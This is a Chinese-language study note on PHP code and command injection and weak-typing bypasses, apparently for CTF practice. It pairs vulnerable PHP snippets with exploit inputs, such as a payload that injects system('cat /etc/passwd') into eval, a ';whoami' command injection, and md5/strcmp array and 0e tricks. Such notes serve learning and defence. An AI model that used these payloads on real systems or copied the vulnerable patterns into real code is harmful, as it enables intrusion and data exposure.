PHP 弱类型 && CODE/COMMADN injection

CODE/COMMAND INJECTION

CODE INJECTION

 

https://www.freebuf.com/sectool/168653.html

EXAMPLE1

 

 

 

<?php

$str = “echo \”hello “. $GET_[‘name’].”!!!\”;”;      .是连接  双引号注意就近。  

Eval($str);          \”双引号转义 因为echo  内容需要是字符串

?>

 

注意单引号双引号区别

 

%22.system(%27ls%27);//   输入，替换了$GET_[‘name’]

 

%22 :   “

%27: ‘

 

<?php

$str = “echo \”hello “. %22.system(%27ls%27);//.”!!!\”;”;    

Eval($str);

?>

 

‘.cat /etc/passwd’

 

%22.system(‘cat  /etc/passwd’);//   失败

%22.system(%27cat  /etc/passwd%27);//     成功

 

COMMAND INJECTION

Example 1

<?php

System(‘ping –c $_GET[‘ip’]’ );

?>

 

127.0.0.1;whoami

PHP 弱类型

= ==

 

strcmp()

 

<?php 
    if (isset($_GET[\'value\'])) { 
    if (strcmp($_GET[\'value\'], $flag) == 0) 
        die(\'Flag is: \'.$flag); 
    else print \'Flag is not here !\'; 
} 
?>

 

Strcmp= s1-s2

 

参数是两个数组，输入数组则错误，判断相等

 

 

 

 

Urlcode 二次编码绕过

 

/i 不区分大小写

浏览器对用户输入数据自动解码（比如输入 %27）

<?php 
    if(preg_match("/hackerDJ/i",$_GET[id])) {
 echo(" not allowed ! "); 
 exit();
 } 
 $_GET[id] = urldecode($_GET[id]);  //解码
 if($_GET[id] == "hackerDJ") { 
  die(\'Flag is: \'.$flag);  
 }
?>

 

 

对D ,为 %44，再次urlencode，得到 %2544 

 

 

整数类型大小比较

 

数组在比较中恒大与具体值

 

其他类型和整形比较会先 intval()

<?php 
$temp = $_GET[\'id\']; 
is_numeric($temp) ? die("retry !") : NULL; 
if($temp>6607){ 
    die(\'Flag is: \'.$flag);  
} else print \'Flag is not here !\';
?> Flag is not here !

 

 

 

 

Extract 变量覆盖

Extract(array,extract_rules,prefix)

 

<?php 
    $flags=\'test.txt\';
    extract($_GET); 
    if(isset($id)) { 
        $content=trim(file_get_contents($flags)); 
    if($id==$content) { 
        die(\'Flag is: \'.$flag);
    } else { 
    print \'Flag is not here !\'; 
    } } 
    ?>

 

 

如果输入id=$content

 

使用extract接收输入，存在变量覆盖，覆盖flags

接收输入后，flags=1，此时

file_get_contents($flags)

取不到文件，故content为空

同时输入id是空。   &是连接符，重新复制flags

输出flag

 

 

Intval()

小数取整echo intval(9.999); // 9。最大值取决于操作系统

 

<?php
    $key = $_GET[\'key\'];
    if(intval($key) > 1||intval($key) < 0){
        die("key is not right");
    }
    elseif (intval($key) < 1) {
        if ($key ==1) {
            die(\'Flag is: \'.$flag); 
        }else print \'key is not right !!!\';
    } ?> key is not right !!!

 

 

Php中弱比较，1==0.999999999999999999999999

比如 echo 1==0.999999999999999999999999  输出1

 

 

 

 

正则截断

 

Erge

 

Php版本小于5.3

 

遇到%00 默认字符串结束

 

 

 

Preg_match()

 

Php>=5.3

 

遇到%00 默认字符串结束

 

 


<?php 
    if(isset($_GET[\'password\'])){
if(preg_match("/^[a-zA-Z0-9]+$/", $_GET[\'password\']) === FALSE){ 
    print(\'You password not right\'); 

} elseif(strlen($_GET[\'password\']) < 8 && $_GET[\'password\'] > 9999999){
    if(strpos($_GET[\'password\'], \'*_*\') !== FALSE){
     die(\'Flag is:\'.$flag); 
} else{ 
    print(\'*_* have not been found\'); 
    } 
} else{ 
    print(\'Invalid password\'); 
    } 
}
?>

 

1e8 >9999999 字符串长度小于8

 

 

Eval() 注入

把字符串当做PHP代码执行。只能执行不能回显。

 

<?php 
    if (isset($_GET[\'id\'])) { 
    $id = $_GET[\'id\'];
    eval("var_dump($id);");
} 
?>

 

 

闭合括号，注释掉后面

 

 

Md5()弱比较

PHP中 md5对数组加密返回NULL

对所有0e开头（16进制）字符串认为相等

<?php 
if (isset($_GET[\'p1\']) && isset($_GET[\'p2\'])) { 
    if ($_GET[\'p1\'] != $_GET[\'p2\'] && md5($_GET[\'p1\']) == md5($_GET[\'p2\'])) 
        die(\'Flag is: \'.$flag); 
    else print \'Flag is not here !\'; 
} 
?>

 

输入数组用  ?p1[]，多个用 &

 

 

Md5()强比较

== 只对值比较，两边先转化为同种类型，若一方为数字另一方为空或null或数组，现将字符串转化为0

 

=== 比较类型和值

<?php 
if (isset($_GET[\'p1\']) && isset($_GET[\'p2\'])) { 
    if ($_GET[\'p1\'] != $_GET[\'p2\'] && md5($_GET[\'p1\']) === md5($_GET[\'p2\'])) 
        die(\'Flag is: \'.$flag); 
    else print \'Flag is not here !\'; 
} 
?>

 

 

 

 

Sha()弱比较

对数组加密返回NULL

<?php 
if (isset($_GET[\'name\']) and isset($_GET[\'password\'])) { 
    if ($_GET[\'name\'] == $_GET[\'password\']) 
        echo \' Your password can not be your name! \'; 
    else if (sha1($_GET[\'name\']) === sha1($_GET[\'password\'])) 
        die(\'Flag: \'.$flag); else echo \' Invalid password \'; 
} 
else echo \'Flag is not here !\'; 
?> Flag is not here !

 

 

 

Strpos

查找字符串在字符串第一次出现的位置。Strpos（string，find，start）。在string中查找find

<?php 
if (isset($_GET[\'id\'])) { 
    $one = ord(\'0\'); 
    $nine = ord(\'9\');
    for($i = 0; $i < strlen($_GET[\'id\']); $i++) {  
        $digit = ord($_GET[\'id\']{$i}); 
        if(($digit < $one) || ($digit > $nine) ) { 
            print("必须输入数字才行");
            return FALSE; 
            } 
        } 
    if (strpos($_GET[\'id\'], \'sss607\') !== FALSE) 
        die(\'Flag: \'.$flag); 
    else echo \'flag is not here ~\'; 
}
?>

 

先判断只有数字

Strpos对数组查找返回NULL，NULL!==flase

 

 

Session 验证绕过

Session_start() 用来初始化session或从session仓库加载已经存在的session变量

 

<?php 
@session_start(); 
print($_SESSION["password"]);
    if ($_GET[\'password\'] == $_SESSION[\'password\'])
        die (\'Flag: \'.$flag);
    else
        print \'password is not right !\';
$_SESSION[\'password\']=rand(10000000,99999999);
?>

 

系统会判断用户输入的password的值是否与当前session中password值相同。初始时session为空，故输入password为空即可

若直接访问过http://10.201.132.248:8090/13.session/session.php 则session已经存在，不为空。清空缓存或者换浏览器即可